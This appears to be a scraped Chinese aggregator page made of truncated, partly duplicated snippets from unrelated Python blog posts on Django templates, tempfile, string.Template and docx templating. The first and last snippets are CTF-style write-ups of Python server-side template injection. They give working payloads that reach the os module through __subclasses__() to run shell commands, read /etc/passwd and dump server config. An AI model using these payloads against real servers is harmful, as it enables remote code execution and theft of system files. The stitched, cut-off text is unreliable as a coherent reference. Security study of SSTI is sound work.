0x01 pthon模板注入判断是否为模板注入paload
http://124.126.19.106:34164/{{1+1}}//如果里面的值被执行了，那么存在模板注入
//调用os模块的popen执行ls打印所有文件
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[‘os‘].popen("命令").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__[‘os‘].popen("ls").read()}}
或者
//调用os模块的listdir打印文件
{{[].__class__._...
templates 讲后台得到的数据渲染到页面上：话不多说，先看具体代码。urls:from django.conf.urls import url
from django.contrib import admin
from django.urls import pathfrom a00 import viewsurlpatterns = [path(‘admin/‘, admin.site.urls),url(r‘show_time/‘,views.show_time ),url(r‘list_bianli/‘,views.list_bianli),url(r‘dict_bianli/‘, views.dict_bianli),url(r"login/",views.login,name="log")]views:fr...
window 7 执行：pip install pysqlite3报错：No files/directories in C:\Users\john\AppData\Local\Temp\pip-build-c2arlllc\pysqlite3\pip-egg-info (from PKG-INFO) 尝试了网上介绍的所有方法，无法解决该问题。最终发现这个问题是由于安装的python3.5支持有问题。安装python3.6，再重新执行,问题解决。 记录解决问题的过程，希望能帮助遇到相同问题朋友！ 原文：https://www.cnblogs.com/pmh905001/p/12164276.html
官方文档博文导航：定义模板：变量 标签： if for include url csrf_token 过滤器： 简单过滤器 HTML转义：escape 加减乘除的过滤器 注释： 单行注释 多行注释模板语言：Django 模板是一些文本字符串，作用是把文档的表现与数据区分开。模板定义一些占位符和基本的逻辑（模板标签），规定如何显示文档。通常，模板用于生成HTML（Django 模板也可以...
tempfile 模块专门用于创建临时文件和临时目录，它既可以在 UNIX 平台上运行良好，也可以在 Windows 平台上运行良好。tempfile 模块下提供了很多常用的函数，下面给大家具体介绍一下这些函数。tempfile.TemporaryFile(mode=w+b, buffering=None, encoding=None, newline=None, suffix=None, prefix=None, dir=None)：创建临时文件。该函数返回一个类文件对象，也就是支持文件 I/O。tempfile.NamedTemporaryFile(mode=w+b, bufferin...
tempfile 模块专门用于创建临时文件和临时目录，它既可以在 UNIX 平台上运行良好，也可以在 Windows 平台上运行良好。tempfile 模块下提供了很多常用的函数，下面给大家具体介绍一下这些函数。tempfile.TemporaryFile(mode=w+b, buffering=None, encoding=None, newline=None, suffix=None, prefix=None, dir=None)：创建临时文件。该函数返回一个类文件对象，也就是支持文件 I/O。tempfile.NamedTemporaryFile(mode=w+b, bufferin...
Template无疑是一个好东西，可以将字符串的格式固定下来，重复利用。同时Template也可以让开发人员可以分别考虑字符串的格式和其内容了，无形中减轻了开发人员的压力。Template属于string中的一个类，所以要使用的话可以用以下方式调用from string import TemplateTemplate有个特殊标示符$,它具有以下的规则：它的主要实现方式为$xxx,其中xxx是满足python命名规则的字符串，即不能以数字开头，不能为关键字等如果$xxx需要和其他字符...
string.Template()
string.Template()内添加替换的字符, 使用"$"符号, 或 在字符串内, 使用"${}"; 调用时使用string.substitute(dict)函数.
可以通过继承"string.Template", 覆盖变量delimiter(定界符)和idpattern(替换格式), 定制不同形式的模板.
代码:# -*- coding: utf-8 -*- import string template_text = Delimiter : %% Replaced : %with_underscore Ingored : %notunderscored
d = {with_underscore : replaced, notund...
tempfile.TemporaryFile
如何你的应用程序需要一个临时文件来存储数据，但不需要同其他程序共享，那么用TemporaryFile函数创建临时文件是最好的选择。其他的应用程序是无法找到或打开这个文件的，因为它并没有引用文件系统表。用这个函数创建的临时文件，关闭后会自动删除。
实例一： 代码如下:import osimport tempfileprint Building a file name yourself:filename = /tmp/guess_my_name.%s.txt % os.getpid()temp = open(filen...
Template无疑是一个好东西，可以将字符串的格式固定下来，重复利用。同时Template也可以让开发人员可以分别考虑字符串的格式和其内容了，无形中减轻了开发人员的压力。
Template属于string中的一个类，所以要使用的话可以用以下方式调用from string import TemplateTemplate有个特殊标示符$,它具有以下的规则：
它的主要实现方式为$xxx,其中xxx是满足python命名规则的字符串，即不能以数字开头，不能为关键字等
如果$xxx需要和其他...
TEMPLATES
Django 1.8的新特性
一个列表，包含所有在Django中使用的模板引擎的设置。列表中的每一项都是一个字典，包含某个引擎的选项。
以下是一个简单的设定，告诉Django模板引擎从已安装的应用程序（installed applications）的templates子目录中读取模板：TEMPLATES = [{BACKEND: django.template.backends.django.DjangoTemplates,APP_DIRS: True,},
]以下选项对所有引擎（backends）都可用。
BACKEND
默认：无定义
使用的模板...
TEMPLATES
Django 1.8的新特性
一个列表，包含所有在Django中使用的模板引擎的设置。列表中的每一项都是一个字典，包含某个引擎的选项。
以下是一个简单的设定，告诉Django模板引擎从已安装的应用程序（installed applications）的templates子目录中读取模板：TEMPLATES = [{BACKEND: django.template.backends.django.DjangoTemplates,APP_DIRS: True,},
]以下选项对所有引擎（backends）都可用。
BACKEND
默认：无定义
使用的模板...
过年了准备跳槽,现在python这么火,感觉学习一下可能会很有用,于是网上找教程,在搭建Diango+python的时候突然一脸懵逼,一步步按照网上说的来的,可是第一步就报错了我们可以看到报错提示os未定义,翻了下配置文件确实上面没有定义这个os 但是使用的BASE_DIR确有定义,我也是刚学python,不清楚这个os具体代表什么,为什么没有,可能是版本不同？
我使用的python是3.9.2 网上教程使用的大部分还是3.6之前的 然后我查了下资料，说这里只是指...
业务背景
近一段时间一直忙于开发，有一业务场景，需要将后台(使用的Java)获取到的数据，动态的填充到word文档中。一开始使用的是使用Java获取后台数据，使用freemarker模板进行数据渲染，生成word(原理是将word模板转换成xml文件，然后将xml文件重新命名为ftl格式文件，将数据动态填充)。最终采用的是python-docxTemplate来动态填充并生成word。
区别
1.使用freemarker来渲染并生成word，开发量大，花费时间较长，如果生成的word内...
打开网页提示我们python模板注入
首先进行测试：
http://220.249.52.133:30503/{{7+7}}
提示我们"URL http://220.249.52.133:30503/14 not found"，说明7+7被执行
我们可以用http://220.249.52.133:30503/{{config.items()}}查看服务器的配置信息，还可用http://220.249.52.133:30503/{{[].__class__.__base__.__subclasses__()[40](/etc/passwd).read()}}查看passwd信息
我们执行http://220.249.52.133:30503/{% for c in [].__...
